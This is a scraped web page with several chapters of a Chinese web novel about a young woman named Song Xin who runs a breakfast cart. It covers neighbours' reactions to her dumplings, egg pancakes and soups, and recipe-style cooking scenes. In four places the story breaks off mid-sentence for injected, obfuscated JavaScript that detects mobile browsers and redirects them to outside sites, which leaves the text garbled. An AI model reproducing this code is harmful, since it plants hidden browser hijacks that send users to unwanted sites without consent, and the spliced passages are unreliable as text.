“小明我可以和你换一个蒸饺吗，用你很喜欢的巧克力。”赵明明手里还有一个蒸饺，他也准备给小星星的，听到巧克力神色微微动摇，接着很快就坚定起来。 他摇摇头，“不行啦，这是我要给小星星的！还有，不要喊我小明！” 前桌失落的点点头，“好吧小明，你这个是在哪里买的，明天我也让爸爸给我买。” 赵明明已经懒得纠正小明这个称谓了，小小年纪的他就像个大人一样叹了口气，接着先把蒸饺给小星星，才和前桌说起卖蒸饺的姐姐小摊的位置。 但是，赵明明也只是一个平平无奇还不到七岁的小孩，最后他说的精疲力竭，前桌似懂非懂，但记住了是赵明明小区门口。 小星星拿着第二个蒸饺没有马上吃，而是等赵明明说完话，才和赵明明一人一半的分着吃完了这个蒸饺。 “小星星，明天我还给你带好吃的蒸饺。”赵明明吃完蒸饺就想把自己的礼物拿出来，小星星给他准备的礼物刚刚给他了，是他很喜欢的巧克力，嘿嘿~ 就在这个时候，老师进来了。 好险，赵女士逃过一劫！ 可能是收之东隅失之桑榆，赵女士不用到学校见老师，可同样的，等她再回到小区，宋鑫正在收拾最后的东西准备离开。 “这就卖完了？”赵女士不敢相信这个残忍的事实。 宋鑫的话语在她现在听来好像恶魔的低语，“是的，蒸饺已经卖完了。” 赵女士还抱有最后一丝希望，“汤还有吗，我要两碗带走。” 蒸饺卖完了，汤总不能也卖的这么快吧，她之前可注意到了，好多人都是直接买了蒸饺就走了，没有买汤汤水水。 可是接下来宋鑫的话让她特别失望，严重怀疑三十七度的嘴怎么能说出这么冰冷的话！ “汤也卖完了，不好意思。”宋鑫这句话已经说了好几遍了，不时就有人来问还有没有了，大多数都是群里不用早起的人，也有路过的人。 不过这两种人很好区分，路人知道没有之后会直接离开，群里的大家则会露出一副我就知道回事这个样子的表情，离开的时候还会低声念叨明天一定要早起来买！ 赵女士也是一脸遗憾地离开了。 刚开始确实是蒸饺卖的快，因为吃起来更方便，可是等到老年人开始来买早饭，芙蓉凤尾汤就卖的越来越快。 在宋鑫不知道的时候，因为早上这个汤，她的名声已经在附近老年人口中传开了。 “那个小姑娘的汤烧的确实好，人家有真手艺在身上。”这是早上恰好买到了最后一碗汤的老太太说的。 此时她正坐在小区花坛边和一群老头老太太聊天。 也有喝到的人附和她，“是不错，喝下去觉得人都舒服了不少，这段时间的大鱼大肉给我吃的不行了。” 也有那没有喝到的在一旁挑刺，“就真有那么好，别不是你们自己这段时间吃腻了，突然来个清爽的就觉得好吃吧？” “好不好吃你明天去尝一尝不就知道了？”老太太翻了个白眼，王老头年轻的时候就是个杠精，现在还是这样。 谁说了个什么，他总得反驳质疑人家。 李奶奶不和他多纠缠，给了他一个不屑的眼神之后就离开了。 不愧是多年的老邻居，一个眼神一个反问稳稳拿捏王爷爷。 “去就去，要是不好吃我还得回来找你！”王爷爷振振有词。 王奶奶坐在一边只笑不说话，这么多年了，还是只有李奶奶能噎的王爷爷说不出话，每次看到这个场面王奶奶晚上回家都要多吃一碗饭。 虽然和王爷爷一起过了大半辈子，但是王奶奶还是要讲，王爷爷这个人就是生到了好时候，当时哪有谈恋爱一说，相亲见面订婚结婚加起来一个月的时间就完成了。 当时的她被王爷爷的外表蒙蔽了，用现在年轻小孩的话来讲就是好好的人，怎么就长了张嘴，不说话的时候是个帅哥。 总之，年纪轻轻的王爷爷就已经是个杠精了，但是！他在相亲的时候就是个哑巴，看上去就是个高冷帅哥，王奶奶非常满意，谁知道都没等到结婚第二天，王爷爷的本性在婚礼当晚就暴露了。 想到那天晚上，王奶奶就生气，也就是吃了时代的亏，要不然就王爷爷这个杠精，王奶奶肯定，呃，其实也能过的，王爷爷不说话没有表情的时候着实帅气，就是现在也是个帅老头。 而且王爷爷的杠精不像现在很多人不尊重人，阴阳怪气，而是很认真的表达自己的观点，就是总爱使用反问句，像李奶奶那样反驳了他，他也只会自己嘟囔两句，真是他的错他也会道歉，就是爱反驳，被一众老朋友评为反驳型人格。 已经出现在菜市场的宋鑫自然不知道在小区的一个角落有一个老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16541951|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头因为自己吃瘪了，她正在挑选鸡肉。 明天早上她想做醋椒汤甩果，这个汤需要用到鸡汤，她准备今天吊好。 连续走过几个摊子，感觉鸡肉的品质都很一般，宋鑫准备买活鸡现杀了，这样鸡肉新鲜品质还好，看到一家的鸡很不错。 宋鑫走过去准备挑选鸡，笼子前面还有一位老人，正在打电话，可能因为年纪大了有点耳背，手机开了扬声器，宋鑫不用走太近，就能把两人的对话听得清清楚楚。 对面是一个男人的声音，感觉像老人的儿子。 “爸你现在去哪儿了，我们马上就到家，现在在等红灯。” “你们回家还要去布达拉宫，去那儿干嘛，咱家在宁市，不在那啥宫，我在电视上看到过那个，去了是不是还得磕头啊。” 听到这里，宋鑫严重怀疑老人看的电视是手机短视频。 “不是，是红灯，红——灯！，在过马路，等红灯！”对面的人显然已经习惯了，解释的相当熟练。 “爷爷我要饿昏了，你是不是去给我买好吃的了。” “哎哟，爸我东西掉了，绿灯亮了，我先过马路了，回头说啊。” 手机对面传来不同的声音，老人听着越来越着急，也不挑选鸡了，走到老板前面，就和他说道：“小王啊，你听到了吗？我怎么听着我孙子说他爸要二婚了，我儿子说他要上吊！” 看来老人也知道自己耳背，听到的东西可能不太对，恰好和卖鸡的老板熟悉，就去问对方刚刚儿子电话里到底说了什么。 宋鑫就听到老板超大声复述了一遍。 宋鑫一边听一边挑合适的鸡，听到老人还在纠结二婚，差点笑出声，她的鸡调好了，也上前帮助老板一起解释。 “爷爷，你孙子是饿了，没有说二婚。” 最后在宋鑫和小王老板的解释下，老人终于听懂了，避免了一场莫名其妙的家庭纠纷。 宋鑫回到家就开始炖鸡汤，到了晚上，家里家外香气飘飘。 宋志明和李云华在邻居羡慕的眼神中回到家里，进了家门闻到的就是另外一种香味了，宋鑫正在厨房炒事先留出来的鸡肉。 锅里用芝麻油和葱姜炒出香味，之前无意中达成了饭店和孙姨家里芝麻油的合作，孙姨送来的一大桶芝麻油还在家里放着。 品质还是很好，稍微一加热，香味更是附着在每一个地方。 看到俩人回来，宋鑫把鸡肉倒进锅里，稍微炒了炒，就沿着锅边烹入料酒。 把鸡汤和粳米放进锅里，等待烧开的过程，宋鑫和准备碗筷的宋志明聊天，李云华已经被工作掏空了，年后的工作太忙了。 “你今天怎么样啊，累不累？“宋志明觉得出门摆摊很累，尤其是宋鑫还要早起，真的很辛苦。 宋鑫却不觉得，“还好，我做的挺开心的，今天没到八点半就结束了。” 锅里开始沸腾，宋鑫把浮沫撇掉，转小火熬粥。 20.蛋饼 “这么早！”虽然早就想到以宋鑫的手艺卖的会很快，但是口碑起来也要一段时间吧，宋志明大感震惊，就是已经瘫在沙发上的李云华耳朵也竖了起来。 宋鑫看了看上班上的筋疲力尽的俩人说道：“我已经卖了好长一段时间的元宵了，我们还有群呢，都是老顾客的支持罢了。”说完忍不住露出得意的笑。 宋志明和李云华也为宋鑫感到高兴。 粥煮好了，宋鑫又往锅里加入盐、胡椒粉和一点味精。 “鸡肉粥好啦~” 宋志明端粥，李云华起身洗手，接着把配餐的小菜拿出来，宋鑫还炒了一个酸辣土豆丝，配上鸡肉粥刚刚好。 “活过来了。”李云华喝了一大口热粥，才慢悠悠地说话，她们单位平时还好，就是年头年尾的特别忙，从早忙到晚，时不时还要加个班的那种。 宋志明和她差不多，最近也很忙。 “多吃点吧，过年吃胖的都瘦回去了。“宋鑫看着李云华说道，想着明天中午有时间的话就去给李云华送饭，太辛苦了，想起了她还在上班的时候，但李云华比她工资高，一般情况下也没有那么忙，还不会被领导pua！ 但是她现在自由了！超级快乐，时薪超级高的（bushi），嘿嘿~ 第二天宋鑫准备的不同口味的蛋饼，以及醋椒汤甩果。 这个汤很好做，只要先熬好鸡汤，剩下的非常好做，喝起来也是酸辣适口，寒风凛凛的早晨喝上一口，可以从胃暖向四肢。 蛋饼只要调制面糊就可以了，到时候现做现卖。 先写好了挂牌，拍照发到群里。 芝麻蛋饼（甜） 韭菜蛋饼 角瓜蛋饼 葱花蛋饼 醋椒汤甩果（咸汤） 相比昨天，今天的挂牌看上去种类很丰富，虽然都是蛋饼，可是口味不一样！ 她先调制今天唯一的甜口蛋饼，就是把鸡蛋、白芝麻、白糖和面粉一起搅匀成糊状就好了，有人点单直接舀上一勺蛋糊摊成小圆饼。 韭菜切成末，角瓜擦丝，葱花需要切的大颗一点，不能太碎。 分别加入调料调成蛋糊，宋鑫今天敲了超多鸡蛋，做的是货真价实的蛋饼，最后一趟下楼的时候带走了一大包鸡蛋壳。 有了昨天的经验，今天宋鑫到了地方之后先做汤。 今天她来的比昨天还早一些，主要是今天的蛋糊调的快，还有就是因为她今天没有绕路去卖早饭，她也要吃蛋饼！好久没有吃了，突然有点怀念。 宋鑫是不会承认今天做蛋饼的一个重要原因就是她昨天晚上突然特别馋葱花蛋饼，晚上做梦都是被一张蛋饼卷起来。 先用胡椒和葱姜炝锅，胡椒的香味飘出来之后，就烹入准备好的鸡汤，再加上盐、酱油和味精，就盖上锅盖开大火煮开。 这个时间宋鑫又开始敲鸡蛋，一个接着一个。 汤开之后，宋鑫把胡椒和葱姜捞了出来，接着把鸡蛋液淋到锅里面，很快漂亮的蛋花浮在锅里。 葱花、香菜、辣椒油、芝麻油和香醋都放在了一边，可以按照个人口味自行添加。 趁着还没有人来，宋鑫给自己煎了一个葱花蛋饼，她想吃外面有一点焦脆感的，就多加了一些油，多煎了一会儿。 等到蛋饼整体呈现金黄色，有的地方颜色更深之后就可以了，还没有吃就宋鑫就闻到了葱花的香味，和生的大葱不一样。 和鸡蛋面粉一起做熟了之后，大葱那股呛人的味道就消失了，和炒菜时用的大葱也不一样，煎成葱花蛋饼之后，里面的葱花都像是重生了一样。 整个蛋饼外面酥酥的，有的地方还滋滋作响，冒着一点油泡泡，一口咬下去蛋饼里面又很软嫩，和外面形成了极大的反差，中间涂上辣椒油，再加上两片宋鑫秘制萝卜片，吃完喝上一碗汤，完美的一餐！ 糖醋萝卜片是她新腌的，这次做的不少，就直接拿了一大部分放到餐车上，当作赠送的小菜了。 万万没有想到这个无心之举还引发了一场大戏。 今天的第一位客人是一个戴着眼镜看上去很斯文的男性，来人过来没有看挂牌，直接说道：“我要两笼蒸饺，谢谢。” 宋鑫愣了一下，才反应过来：“抱歉今天没有蒸饺，今天卖的是蛋饼。” 这次换成男人愣住了，他没有想到蒸饺还是限定款，想起小星星期待的目光，他试图做最后的挣扎，“真的没有蒸饺了吗？” “蒸饺是昨天的，今天的蛋饼也很好吃呢，有四种口味可以挑选的。”宋鑫耐心解释，并且指着挂牌上的口味向他介绍。 同时宋鑫也判断出来这个男人不是群里的人，难道是昨天买过蒸饺的客人，宋鑫想了一会儿实在没有印象就放弃了。 男人，也就是小星星的爸爸想起儿子昨天回去把那个蒸饺夸得天上有地下无的样子，觉得自己可以相信一个摊主。 而且蛋饼再难吃又能难吃道哪里去呢，看了一眼蛋糊，小星星爸爸就知道这个蛋饼含蛋量十足，每个口味的蛋饼要两张，再来三碗汤。 开张就是八张饼，宋鑫两个锅同时开工，问好顾客想要的口感就做了起来。 饼做到一半，小星星爸爸闻着那浓郁的香味，忍不住拿起刚打包好的一个角瓜蛋饼吃了起来，角瓜丝变得软烂，蛋饼外酥里嫩，咸香可口。 一张角瓜蛋饼，小星星爸爸很快就吃完了，他没有多思考，直接说道：“麻烦再加三张角瓜蛋饼。” 看来角瓜蛋饼很和他的口味了。 在宋鑫做蛋饼的时候，有闻到香味的人开始排队了，还有昨天群里没有吃上蒸饺的人今天也早早赶来小区门口。 先把小星星爸爸的蛋饼和汤全部打包好，宋鑫就沉浸在忙碌的摊饼工作之中。 这时候人流已经上来了，再加上宋鑫本就有客户基础，她在的位置也很好，进出小区都可以看到，再伴随着蛋饼的香味，宋鑫越来越忙碌。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16548597|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>即使客人很多，宋鑫也游刃有余，手下的蛋饼一张接着一张出锅，时不时的盛上一碗汤。 “老王头，我就说要早点来吧，你看现在要排队了吧。”李奶奶看着餐车前面的队伍和王爷爷说着，手上还挽着王奶奶，“妹子，早知道咱们先来了，这些男的出门磨磨唧唧的，真耽误事儿。” 王奶奶自从住过来之后，很快就和李奶奶熟悉了，李奶奶总会怼王爷爷，但在王奶奶心里就觉得李奶奶说得好，说出了她说不出来的话。 王奶奶天生不会怼人，就算王爷爷有时候说的她很烦了，也只能不理他，结果李奶奶就像天神一样！王奶奶去年的生日愿望都是下辈子可以拥有李奶奶那张嘴！ 虽然王爷爷在家里也会做家务，不吸烟不酗酒，但这就是作为一个正常人应该做的事情，大部分女人都是这样的，还没有王爷爷那张嘴！ 每次看到王爷爷在李奶奶手里吃瘪，王奶奶都高兴好久，吃饭都能多吃一碗，终于有人治的了王爷爷了。 王奶奶笑着看向李奶奶，李奶奶瞬间不理王爷爷还有后面的包括自家老伴在内的一众老伙伴了。 她每次会怼王爷爷也是因为王奶奶，王奶奶年轻的时候可是这条街上的一朵花，再配上温柔的气质，让人忍不住想要保护她。 即使相处很多年，已经知道王奶奶是个怎样的人，内心很强大，也不需要别人的保护，参考王爷爷永远只能嘴上嘟囔那两句就知道了。 但是！美人温柔和你说话，对你露出笑容，谁又能拒绝呢，反正李奶奶不能，美人迟暮也是美人啊，尤其是随着年龄增长，王奶奶的气质更加突出。 李奶奶只恨自己为什么不是个男人，没有早点遇到王奶奶！ “你看看她们两个，就把我们扔在后面，是不是忘了还有我这个人了！”王爷爷和李爷爷抱怨，看着已经走到餐车开始排队的李奶奶和王奶奶。 李爷爷没有多和他说话，给了他一个眼神，这不是显而易见的事情吗，接着就快步去排队了，他要去找自己老伴了。 后面一群老伙计也纷纷向前，都排上了队，留下王爷爷一个人凄凉地站在远处，哀切地看着王奶奶，王奶奶铁石心肠，和李奶奶讨论要什么味道地蛋饼。 王爷爷只好默默走到队伍最后面。 排到李奶奶地时候，她要了一个角瓜蛋饼，一个芝麻蛋饼，再加上一碗汤，她很爱喝汤，这个汤的味道一闻，浓郁的鸡汤味道纯出来，但是汤上面没有一丝油，就知道老板花功夫了。 她们人太多了，宋鑫这里坐不下，都是打包带走吃。 走之前李奶奶还往汤里加了一大勺辣椒油，这辣椒油的颜色鲜亮，味道香而不呛，用的也是好辣椒。 王奶奶吃不了辣，但是夹了一些糖醋萝卜片，闻着味道很是开胃。 剩下的几个人都按照胃口大小买了蛋饼和汤，虽然蛋饼的价钱不低，可是看着蛋饼的颜色，闻着鸡蛋和鸡汤的香味，这个钱花的不亏。 21.香菇肉饼 最后她们一群人聚集在小区里的老年活动室吃早饭。 “我倒要看看这个蛋饼味道怎么样。”王爷爷一边把装汤的饭盒打开，一边念叨着，但是声音很小，因为买饭的时候小餐车前面排起的长队就说明了一切。 听说开了才两天，生意就能这么好，怎么也得有点手艺在身上，正在思考着的王爷爷下意识先喝了一口汤。 好鲜的汤！ 王爷爷其实很喜欢喝鸡汤，但是不管是家里自己炖的也好，外面饭店买的也罢，都有一股去不掉的油腻厚重感。 就是把上面的油都撇干净，喝不了几口也腻得慌。 结果这个汤，鸡汤的味道很浓郁，喝起来却清清爽爽，还带着一点辣味，不是辣椒那种刺激性的辣味，和鸡汤很好的融合在一起。 “好喝！”王爷爷大吼一声，接着一口喝下去半碗，还好刚刚拎着饭在外面走了一会儿，要不然现在就要去医院看喉咙了。 李奶奶得意地看向大家，“老王头都觉得好喝了，你们呢。” “好喝好喝，这厨艺哪是不错啊，是相当不错！” “多亏你带着我们去买，要不然还喝不到这么好喝地汤呢。” “真不错，你说小姑娘年纪轻轻的手艺怎么就这么好，比我做了几十年还要好喝。” “那是，要不然怎么是人家小姑娘摆摊，不是你去挣钱呢。” …… 在王爷爷的带领下，大家都先喝上了汤，这个汤的味道真不错，年纪大了之后一到冬天，身上总暖和不起来，喝了这个汤，透着凉意的骨头缝都感受到了温暖。 看大家只喝汤，李奶奶着急了，小宋可不只是汤做的好，她做的蛋饼也好吃啊，她都吃完一个芝麻的了，甜丝丝的，加上芝麻的香，早上吃了一整天都觉得幸福。 “你们吃蛋饼啊，别只喝汤了，这个蛋饼也很好吃。” 李奶奶迫不及待让大家吃一下蛋饼了，虽然不是她做的，但是这可是她带着大家发现的，听到大家夸宋鑫，李奶奶就好像自己被夸了一样，格外的高兴。 “蛋饼嘛，再好吃又能多好吃呢。”虽然已经认可宋鑫做的醋椒汤甩果，可是对于蛋饼这个家家户户都会做的东西，大家还是觉得就那样吧，即使宋鑫出品的蛋饼卖相非常好。 李奶奶看到大家的表情，没有人说蛋饼的坏话，李奶奶知道大家心里是怎么想的，不就是觉得蛋饼特别家常嘛。 她低声和王奶奶说起悄悄话：“哼，鸡汤谁家没炖过，不也是家常菜嘛，一个个不还是觉得好喝。” 王奶奶侧过头，很认真地说道：“我也觉得蛋饼好吃。” 李奶奶被哄高兴了，继续吃起自己的角瓜蛋饼，其实她更喜欢韭菜蛋饼，但是胃不好，早上还是别吃韭菜了。 呃，辣椒油那是另外的问题了，早上吃一点辣没有关系的，没事的。 也就是李爷爷没有和她坐在一起，要不然早就把两份汤调换了，王奶奶也是确定辣椒油不太辣才敢让李奶奶喝这个加料的汤。 吃角瓜蛋饼的时候，李奶奶比较珍惜，不像之前吃芝麻蛋饼那么快，囫囵吞枣，吃完之后只留下一点芝麻的香味。 先空口吃一部分，角瓜已经完全变软了，对老年人特别友好。 再拿出一半揪成小块泡进汤里，这种蛋饼只要泡的时间不是特别长，是不会发胀的，上面还会挂上汤汁，美味加倍。 最后的一点角瓜蛋饼，李奶奶看上了王奶奶的小咸菜——萝卜片，这个腌萝卜片看起来很薄，可是王奶奶吃起来的声音却特别脆。 从王奶奶那里夹了两片萝卜片，放在剩余蛋饼的中间，再慢慢卷起来。 好吃！李奶奶的眼睛都睁大了，本来就好吃的蛋饼，加上同样好吃的萝卜片，好吃到李奶奶真个个人都沉醉在美味里面了。 直到最后一口蛋饼下肚，她还有些怅然若失，明天一定要多拿点萝卜片！ 其他人也吃了蛋饼，一时之间活动室除了碗筷碰撞发出的声音，竟然难得的安静。 “好吃！”这是一个其中一个爷爷说的，他之前觉得汤好喝已经足够了，蛋饼的味道就算马马虎虎，只要是真材实料就可以，没有想到蛋饼的味道比汤还好。 这个价格真不贵，他觉得如果小姑娘的这盘蛋饼换在饭店，同样味道的一张要卖十块钱。 “老李啊，这次，多亏了你，要不然我们还发现不了这个餐车呢。” “是啊，就算看到了，这么多人排队，我估计我也不会去买。”这话来自一个排队劝退者。 “这个小姑娘前段时间是不是在卖元宵，我儿子还买了呢，味道真不错。” 这句话引起了大家的注意，什么元宵，她们怎么不知道，她们这七八个人，过年的时候不是去儿女家了，就是一家人出去旅游了，只有说话的老吴在家过年了。 “什么元宵？”耐不住性子的李奶奶先问出了大家的心声。 老吴被所有人盯着赶紧说出来，“就是那个小餐车的老板卖的元宵啊，一直卖到了元宵节呢，还别说，那个元宵味道真不错，有以前国营饭店的味道了。” 本来还有些害怕的老吴想到元宵的味道又怀念起来，真好吃啊，他就爱吃那个豆沙的，不甜好吃。 这边一群人看到老吴的模样，捶胸顿足自己错过了好吃的元宵。 在小区东门餐车处，赵明明也捶胸顿足，他先看看大排长队的餐车，又哀怨地看着赵女士，赵女士不敢看向他。 赵明明催她出门了，她非要再磨蹭一会儿，觉得时间还早，最后还是赶着最后的时间出的门。 还表示一定会让他吃上餐车上的蒸饺。 结果今天没有蒸饺，那蛋饼也行啊，赵明明不挑食，可是要排队。 如果眼神能够具象化，赵女士已经被赵明明的愤怒淹没了。 她拉着赵明明的手道歉：“对不起嘛，明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553206|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天，明天我一定快快出门，今天就先吃个包子好不好，吃面包也行。”说这话的时候赵女士超级不好意思，她真没想到才一天餐车的队就能排成这样。 “明天让爸爸来给我买！”赵明明深知赵女士的本性，他可是听到爸爸妈妈讲话了，爸爸今天值完夜班，明天就可以休息了，让爸爸买，爸爸靠谱。 “好好好，让爸爸买。”赵女士说的时候也松一口气。 赵明明一家三口都姓赵，给孩子取名的时候烦恼都少了一半。 赵女士觉得让赵先生来买好啊，这样她就可以多睡一会儿，还能吃到好吃的早餐。 和赵明明商量好之后，赵女士带着他去了一家包子店，就是新开的那家包子店，宋志明之前在这里买过不太好吃的包子。 赵明明苦着一张脸吃着包子，吃两口就要看赵女士一眼，赵女士只买了赵明明的份，没有买她自己的那份，她还想着送完赵明明之后再来排队呢，到时候人应该会少一些。 那个时间人确实会少，可是赵女士是不是忘记了，按照现在这个趋势，也许等赵女士回来，宋鑫就把东西卖完了。 宋鑫看了看桶里剩余的蛋糊，数了一下排队的人数，管够，她昨天卖的特别快，今天特意多准备了。 手下熟练的摊着蛋饼，宋鑫已经思考中午要做什么了，早上买菜的时候还买了一条里脊，可以和香菇一起做一个香菇肉饼，是一道超级好吃的下饭菜。 宋鑫的手速很快，小区门口的人流量减少，装蛋糊的桶也全部空了，只有饭盒里还有汤，是宋鑫留下来准备中午和饭菜一起给宋志明李云华送去。 回到家里，休息一会儿宋鑫就看着家里的食材定下了午饭菜单，除了香菇肉饼，还有干烧冬笋和家常豆腐。 豆腐也是她早上去豆制品批发店买的，店里主做批发，但零买也可以，宋鑫去的时候大吴阿姨在店里。 买豆腐的时候没想好怎么做，但是又想吃豆腐，最后还是决定先买回来再说。 香菇用的是干香菇，先泡发，宋鑫家里的干香菇没有蒂，可以直接用，不用专门再去蒂了。 在等待香菇泡发的时间里，先取一部分冬笋切片，里脊肉剁成泥。 干虾米稍微用热水泡一下就好了，和姜一起打成细末，放到肉泥上面。 宋鑫又去冰箱拿鸡蛋，还是只用蛋清，昨天的蛋黄她也存了下来，下午和今天的这些一起做成咸蛋黄，到时候不管是做蛋黄酥，还是咸蛋黄焗南瓜，都很好吃。 把蛋清和调味料一起加进去，搅成肉馅，接着把肉馅塞到泡好的香菇上面，用筷子压紧实，并用香菇的边缘兜住肉馅。 接着起锅烧油，油不用烧很热，太热了肉馅会和香菇分开。 把香菇肉馅放进油锅稍微炸一下定型，就可以把肉馅向下摆在砂锅里面，切好的冬笋片铺上去，再加入适量的酱油、绍酒、白糖和味精，把家里最后的鸡汤倒进去，小火慢煨。 22.家常豆腐 接下来宋鑫把冬笋块炸了，冬笋块是用盐和绍酒拌匀浸渍着的。 炸香菇肉馅的油，重新烧到八成热，把冬笋炸成金黄色，接着把泡去盐分的雪里蕻叶子放进去和冬笋一起炸。 雪里蕻的叶子一炸酥就全都捞出来沥油。 把炸好的冬笋和雪里蕻叶子一起倒入锅里，撒上一点味精，在无人观赏的厨房，宋鑫表演了一个完美的翻勺。 “技术没有退步嘛，还好我经常锻炼，要不然都翻不动这一锅。” 做好的干烧冬笋宋鑫没有马上装进饭盒，这道菜要是一直闷着会变软，就不好吃了，还是先放一放，凉一些再装进饭盒里。 至于她自己，现在就要尝一尝这道菜啦，看看味道怎么样。 冬笋炸的刚刚好，因为腌的时间足够，里面也有一股淡淡的咸味，雪里蕻的叶子则呈墨绿色，酥酥脆脆，一起吃的时候格外鲜美。 冬日腌制的雪里蕻遇上冬日最鲜美的冬笋，整个冬天的味道都在嘴里扩散，虽然是刚出锅的热菜，仿佛自带一点寒风的冷冽。 吃起来异于春日各色鲜美的菜色，是冬天特有的滋味，也是冬日才能孕育出来的味道。 把春笋和雪里蕻同时放进嘴里又是一种滋味，宋鑫一边吃一边切豆腐，把豆腐切成厚片，稍微撒一点盐腌一下，有个底味。 锅里不放油，把从冰箱里拿出来已经化冻的偏肥的五花肉片直接放进锅里，小火慢煎，沿着锅边撒一点白酒，宋鑫又把切好的葱姜放进去，给猪肉去腥。 等五花肉的油脂被煸出来大半，先把五花肉盛出来，这个时候的五花肉就很好吃了，外面焦脆，里面肥肉的部分软糯，瘦肉的部分稍硬。 撒上一把烧烤料，或者辣椒面，或者直接一点点盐，就是很好吃的烤五花肉片。 再配上一片生菜，吃蒜的人还可以加上几片蒜，也可以是一瓣糖蒜，不吃蒜的就直接用生菜包起来，好吃极了。 宋鑫截留了一部分五花肉片，准备一会儿夹在烤饼里面吃，她中午的主食就是烤饼了，宋志明和李云华的单位食堂都有主食，宋鑫只给她们送菜就行了。 还是先把饼烤上吧，现在时间还早，宋鑫觉得自己完全可以先吃完饭，再给爸妈送饭，时间上很宽裕。 这个饼是超市里就能买到的白吉馍，她家附近的超市里十块钱不到可以买一包，便宜且好吃，蒸着吃也行，烤着吃也行。 宋鑫喜欢在饼的外层浅浅刷一层油去烤，因为只烤两个饼，放空气炸锅里就好了，调整好温度和时间，等会儿再给饼翻个面。 宋鑫重新把火拧开，用锅里的油煎豆腐片。 豆腐两面都煎成焦黄色，盛出来，宋鑫也把煎好的豆腐给自己留出了一部分，嘿嘿~煎豆腐也很好吃的好吗！ 焦脆的外壳，软嫩的内里，极致的反差，再刷上一层辣酱，夹到烤饼里面，既增加口感，也好吃！ 锅里加豆豉和豆瓣酱、辣椒粉，炒出香味加入酱油，接着加一点点水和煎好的豆腐五花肉，煮到水分快收干的时候把火调大，淋入水淀粉，同时加入青蒜苗叶子。 家常豆腐可以直接装进饭盒，装好之后宋鑫又在上面撒了一些花椒粉，增加一点味道。 给饼翻个面，香菇肉饼也煨的差不多了，把剩下的水淀粉倒进去，看着汤汁一点点变浓稠，再淋一点猪油，这道菜也好了，真香啊。 宋鑫把香菇肉饼仔细地装进饭盒里面，最后把汤汁倒进去。 她也要开始吃午饭啦，好吃地烤肉夹饼她来了！ 宋鑫还洗了几片生菜，先把烤饼用剪刀剪开，中间可以直接夹东西，先刷点宋鑫牌秘制辣椒油，再加上一层甜辣酱。 一片生菜打底，煎的底壳脆脆的豆腐两片，接着加入油脂被烤出一大半的五花肉，最后再往里撒一点烧烤料，也是宋鑫秘制烧烤料，特别香。 看着眼前夹得满满当当的烤饼，宋鑫相当得意下，先拍了一张照片，仔细端详了一会儿，自己这顿饭好营养啊，碳水、蛋白质、脂肪，全都有！ 还有膳食纤维呢，大大的生菜叶子存在感超足的~ 宋鑫努力张大嘴，尽量让自己一口可以吃到所有东西，这样才完美。 努力总会有收获，宋鑫果然一口吃到了所有的食物，她现在脸上的表情都超级满足。 烤饼的扎实，生菜的脆爽，豆腐的软嫩，烤肉的焦脆，在各种酱料的加持下做到了完美的融合。 宋鑫一口气吃完了两个烤饼才捂着肚子躺在沙发上，好撑，饼不算大，可是里面夹的东西实在是多。 过了一会儿感觉没那么撑了，宋鑫赶紧把干烧冬笋装进饭盒里面，给宋志明李云华送饭就可以用饭盒，她们食堂都有微波炉。 李谈就不一样了，学校食堂里面根本没有微波炉这个东西，只能用保温桶了。 按照距离远近，宋鑫先去了李云华那儿，到了之后先给李云华打电话，没多长时间李云华就从大楼里面出来了。 “辛苦我们鑫鑫宝贝了，还给妈妈送饭，妈妈爱你！” 呵，女人的甜言蜜语，宋鑫嘴角疯狂上扬，还要强忍住，“没事儿，就随便做一下，你快回去吧，我还要给爸爸送去呢。” “等一下，当当当当~看妈妈给你带了什么下来。”李云华勉强腾出一只手，从口袋里掏出一个东西放在手心里让宋鑫看。 是一个特别精致的小羊挂坠。 “可以挂在车子或者包包上面，保平安纳福的，前几天我就看到我一个同事包上面挂着一个，不过是个小马，我就找她要了链接，今天上午刚到。”李云华的语气很得意，她拆开快递就知道宋鑫肯定会喜欢这个挂坠。 果然不出她所料，宋鑫确实很喜欢，这个小羊超级可爱，她拿到手里反复欣赏，直接就挂在了自己背着的包上面。 “回去之后我就要把它挂在我的餐车上，让它每天都可以陪着我出摊，谢谢妈妈，我很喜欢！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 